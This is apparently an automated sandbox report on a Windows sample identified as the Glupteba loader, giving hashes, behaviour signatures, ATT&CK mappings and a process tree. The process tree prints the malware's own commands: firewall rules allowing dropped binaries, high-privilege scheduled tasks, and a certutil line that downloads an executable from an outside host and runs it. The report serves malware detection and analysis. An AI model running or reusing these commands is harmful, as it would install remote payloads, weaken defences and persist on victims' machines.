Overview

overview

10

Static

static

3

8bfc68524e...18.exe

windows7-x64

10

8bfc68524e...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-06-2024 22:21

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General

  • Target

    8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    8bfc68524ec5b5da12ec06b977396d2d

  • SHA1

    caf436e06a8f6fe7188b05870ebbe1f06fcdae00

  • SHA256

    92f658b313e509147deebb1f168ee8cc1e979c9abc1be9000025ac3e10e7e8bf

  • SHA512

    7fbe3b70b8ff320b7bb768920af9911fc1378035d9e73a0d59003b4dd65dc3f29408ce211338a37d33dde1e859d136134ef4d6dd0e71b506153280cac0f35264

  • SSDEEP

    98304:rlWL8aofMQM6gF/X37XyIf/sIKMZSQbbQcAjLc4DJt7vBpM:pWogNXriWMobQvfcS/pM

Score
10/10
gluptebadiscoverydropperevasionloaderpersistencerootkit

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 18 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:512
    • C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\8bfc68524ec5b5da12ec06b977396d2d_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4352
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\fe34be23e474\fe34be23e474\fe34be23e474.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3632
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\fe34be23e474\fe34be23e474\fe34be23e474.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:1504
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3556
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:116
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4372
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:1548
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:5104
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:3756
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1340
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4356,i,4686244434963378549,11462511444150484980,262144 --variations-seed-version --mojo-platform-channel-handle=1040 /prefetch:8
    1⤵
      PID:2268

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Initial Access

    Execution

    Scheduled Task/Job

    1
    T1053

    Persistence

    Create or Modify System Process

    1
    T1543

    Windows Service

    1
    T1543.003

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Scheduled Task/Job

    1
    T1053

    Privilege Escalation

    Create or Modify System Process

    1
    T1543

    Windows Service

    1
    T1543.003

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Scheduled Task/Job

    1
    T1053

    Defense Evasion

    Impair Defenses

    1
    T1562

    Disable or Modify System Firewall

    1
    T1562.004

    Modify Registry

    1
    T1112

    Credential Access

    Discovery

    Query Registry

    2
    T1012

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Resource Development

    Reconnaissance

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      Filesize

      1.7MB

      MD5

      13aaafe14eb60d6a718230e82c671d57

      SHA1

      e039dd924d12f264521b8e689426fb7ca95a0a7b

      SHA256

      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

      SHA512

      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

      Download Submit
    • C:\Windows\rss\csrss.exe
      Filesize

      3.8MB

      MD5

      8bfc68524ec5b5da12ec06b977396d2d

      SHA1

      caf436e06a8f6fe7188b05870ebbe1f06fcdae00

      SHA256

      92f658b313e509147deebb1f168ee8cc1e979c9abc1be9000025ac3e10e7e8bf

      SHA512

      7fbe3b70b8ff320b7bb768920af9911fc1378035d9e73a0d59003b4dd65dc3f29408ce211338a37d33dde1e859d136134ef4d6dd0e71b506153280cac0f35264

      Download Submit
    • memory/512-4-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/512-5-0x0000000000400000-0x0000000000B10000-memory.dmp
      Filesize

      7.1MB

      Download
    • memory/512-6-0x0000000003AD0000-0x00000000041C6000-memory.dmp
      Filesize

      7.0MB

      Download
    • memory/512-1-0x0000000003720000-0x0000000003ACA000-memory.dmp
      Filesize

      3.7MB

      Download
    • memory/512-3-0x0000000000400000-0x0000000000B10000-memory.dmp
      Filesize

      7.1MB

      Download
    • memory/512-2-0x0000000003AD0000-0x00000000041C6000-memory.dmp
      Filesize

      7.0MB

      Download
    • memory/4352-8-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4352-9-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4352-14-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4372-19-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4372-20-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4372-21-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4372-22-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4372-23-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4372-25-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4372-26-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4372-27-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4372-29-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4372-30-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download
    • memory/4372-31-0x0000000000400000-0x000000000313B000-memory.dmp
      Filesize

      45.2MB

      Download